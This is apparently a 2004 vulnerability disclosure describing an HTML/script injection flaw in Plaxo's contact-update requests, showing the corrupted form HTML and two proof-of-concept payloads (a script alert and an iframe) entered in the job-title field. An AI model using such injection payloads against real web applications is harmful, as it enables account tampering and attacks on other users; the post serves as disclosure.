PLAXO: is that a cure or a disease?
Friday, March 12, 2004
Having a firm belief in unnecessary gadgetry, we recently sent
our most senior colleague Liu Die Yu a request to update his
contact information via our plaxo device
[http://www.plaxo.com/]. Checking back several hours later in
our plaxo web account we eagerly selected his "card" to see what
that update might be.
BANG !
<input type="hidden" name="SetReplied" value="">
<input type="hidden" name="perm" value="1">
<input type="hidden" name="saveChanges" value="1">
<input type="hidden" name="close" value="0">
<input type="hidden" name="Biz.FullName" value="fatcat">
<input type="hidden" name="Biz.Title" value=""><iframe
src=http://www.bloatedcorp.com>">
<input type="hidden" name="Biz.Email1"
value="fatcat@xxxxxxxxxxxxxxx">
<input type="hidden" name="Biz.Email2" value="">
<input type="hidden" name="Biz.Email3" value="">
<input type="hidden" name="Biz.IM" value="">
<input type="hidden" name="Biz.WebPage" value="">
He had taken our entire contact list for a joyride supreme.
Trivial arbitrary code injection into the plaxo user web
account. While it does a good job of attempting to defeat this,
simple input in the recipient request for update field of "JOB
TITLE", gives a real jobbing:
"><SCRIPT>alert('boop')</SCRIPT>
"><iframe src=http://www.bloatedcorp.com>
Needless to say should you receive one of these irritating
little requests, you'll now know what to do.
End Call
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